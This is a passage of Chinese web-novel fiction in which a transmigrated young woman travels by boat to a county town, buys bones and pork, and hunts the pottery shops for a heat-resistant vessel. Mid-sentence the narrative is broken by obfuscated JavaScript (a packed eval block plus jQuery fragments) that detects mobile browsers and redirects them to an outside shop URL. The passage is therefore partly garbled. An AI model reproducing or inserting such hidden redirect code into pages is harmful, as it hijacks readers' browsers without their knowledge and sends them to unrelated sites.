秋收已近尾声，村里静悄悄的。偶有几声鸡鸣犬吠，反倒衬得土路格外空旷。这个时节，多数人家都在场院里翻晒新打的谷子，只有零星几块田里还有人在弯腰抢收。


    周黎生这一路虽没遇见几个闲人，可那些从篱笆后、秸秆间钻出来的目光，却比日头还要灼人。


    她只当不觉，步履不停，心里却在盘算自己的计划。


    到了那个由几块木板和石头搭就的简陋码头，等了没多会儿，便有条乌篷船荡了过来。船底摩擦着岸边的碎石，发出沙沙的轻响。


    三山村离县城足有十里，村人前往多半是鸡鸣起身，摸黑走上个把时辰。若是靠林荞这身子骨走过去，怕是要累倒在半路。


    坐船虽要五文钱，抵得上一斤麦子，可这钱省不得。


    撑船的汉子皮肤黝黑，满脸被河风刻出的深纹，瞧着面熟。他接过铜钱，掂了掂才入怀。


    正要上船，身后却传来一阵急促的脚步声。回头一看，竟是昨日得了她烤鱼的年轻打手。那汉子眼圈乌青，边跑还边打着哈欠。


    见她要上船，他顿时傻了眼，掏遍口袋也没摸出一个铜板，急得抓耳挠腮：“你等等，我回去寻猴哥拿钱就来。”


    周黎生心下好笑，见那身影跑远，便催促开船。同船客人也早等得不耐，纷纷附和。


    船夫却磨蹭着不动，满脸不舍。


    周黎生干脆又数出五文钱递去：“开船吧，莫误了诸位行程。”


    竹篙一点，小船离岸。


    正好借机甩了那尾巴。


    行至河心，船夫目光几度扫来，周黎生索性将眼皮一合，佯装养神。


    船行半个时辰，临水县那不算高大的夯土城墙映入眼帘。刚一登岸，一股混杂着河水腥气、汗味、食物热气的市井味儿便扑面而来。


    周黎生略定心神，拢了拢背篓，踏入这浮世喧嚣之中。


    路面平整的街道两侧，店肆渐次排开。酒旗茶幌在秋风里轻摇，当铺里朝奉半眯着眼拨弄算盘，货郎摇着拨浪鼓穿街过巷，茶肆里说书先生醒木一拍，满堂茶客顿时屏住了呼吸。


    随着人流前行，街角处几个小乞丐，正挤在墙根下分食半个饽饽。她驻足片刻，摸出几枚铜钱抛进他们面前豁了口的碗里。


    这些漫街窜巷、耳听八方的小乞儿，往往是城里最灵通的消息篓子。


    “最近可有什么新鲜事？”


    小乞丐们呼啦啦围拢过来，七嘴八舌：


    城东刘员外家老太爷做寿，连着摆三天流水席；城南苦竹寺那位慧空老法师，前几日晚课坐着就没了声息；城西张记米铺半夜遭了贼；还有城北杜家那个病恹恹的小公子......


    周黎生垂眸听着，忽然抬眼看向其中一人：“你刚才说苦竹寺？”


    那孩子见她有兴趣，话匣子彻底打开，叽叽喳喳说了一通。周黎生耐心从那些颠三倒四的零碎信息里，捕捉有用的线索。


    “姐姐是想上山？现在不行了。”另一个稍大的孩子插嘴，“慧空法师圆寂后，寺门就关了，香客都进不去。”


    山门已闭。


    她正思忖着，却听他们话头一转，竟议论起三山村某个姑娘“死而复生”的奇闻来。


    嘴角微抽，往碗里又添了两枚铜钱，转身离去。


    这世道，消息跑的比人快。


    拐进西市，景象霎时粗粝起来。脚下泥路混着血水，光着膀子的屠夫手起刀落，案板被震得闷闷作响。


    牛羊肉铺比猪肉铺冷清许多。铁钩上挂着半扇羊，血水顺着案板往下淌。牛肉却极少见，朝廷明令，私宰耕牛犯法，能卖的只有病死老死的牛，肉色也暗沉得多。


    周黎生目光扫过雪花般的羊腩，最终落在店主脚边大木盆里。


    里面堆满了被剃得干干净净的牛羊骨头，没什么肉星，她仔细挑了些粗壮结实的腿骨。


    那店主咧嘴一笑：“姑娘懂行。这骨头虽然没肉，但敲开了熬汤，最是滋补。”


    周黎生含糊地应了一声，心思全在手里那几根骨头的成色上。这是她目前仅能找到的大型食草动物的腿骨了，质地还算不错。


    而且非常便宜，几文钱，一堆沉甸甸的骨头到手。


    背着骨头走出西市，脚步却在市口停下。


    接下来要做的事极耗体力，单靠林家那点清汤寡水的身子骨定然扛不住。眼下，实在不是吝惜银钱的时候。


    她转身折返，朝猪肉铺走去。


    “劳烦，二斤……不，一斤前槽肉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956678|193157||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”话到嘴边，到底还是改了口。


    囊中羞涩，现实逼人。


    此处的肉肥三瘦七，瘦中夹着细密油花，口感软嫩多汁，比纯瘦的后腿肉香润。


    在这普遍缺油水的世道，肚里清汤寡水的庄户人家眼里，肥膘厚的肉才是抢手货，可她实在吃不惯那股子油腻。


    “好嘞！”屠户手起刀落，上秤。“一斤高高的，二十五文。”


    零碎的铜钱已经用完，递过去一小块碎银子。屠户接过，指尖熟练一捻，取来戥子称重。剪下一角，将找还的碎银与荷叶包好的肉一并推到她面前。


    “您拿好，下回再来！”


    寻了个僻静角落，心念微动，身上一轻，骨头与肉尽数纳入空间。


    周黎生在喧嚣市集里细细寻觅：筛过的细白河沙、药铺里最廉价的赭石粉......能买到的便仔细收好，寻不着的便在心中盘算着替代之物。


    最难、也最不能凑合的，是那个能耐住高温的容器。


    周黎生的脚步越来越沉。


    一家，两家……她几乎叩遍了县城所有陶器铺的门。回应她的，不是嗤笑，就是敷衍地拿出些绝不耐烧的寻常货色。


    青葱指尖一次次轻叩器壁，传来的声响沉闷，胎体颜色浅淡。


    都不行。


    若找不到能用的，她所有的盘算，那三十两的赌债甚至这条命，都可能像这劣质陶器一样，在烈火中“砰”地一声炸得粉碎。


    “姑娘，你这要求着实古怪。”一个店主终于不耐，将陶罐重重顿在案上，“陶罐不就是烧火做饭的，哪有那么容易裂？”


    周黎生抿唇不语。她何尝不知要求苛刻？可这一环偏偏最要命。


    这一刻，她忽然格外怀念那个万能的橙色软件，无论多稀奇古怪的念头，多冷门生僻的材料，似乎总能找到对应的店铺，总能买到顺手的工具。


    她自幼便是这般性子，对什么生了兴趣，就非得亲手把它琢磨出来。从前那个世界，资讯发达，物料易得，总能成全她这份爱好。


    现在怕是麻烦啊。


    日头西斜，将她的影子拉得细长绝望。


    再找不到，便只能往更远的地方去，或者调低标准，去赌那渺茫的成功率了。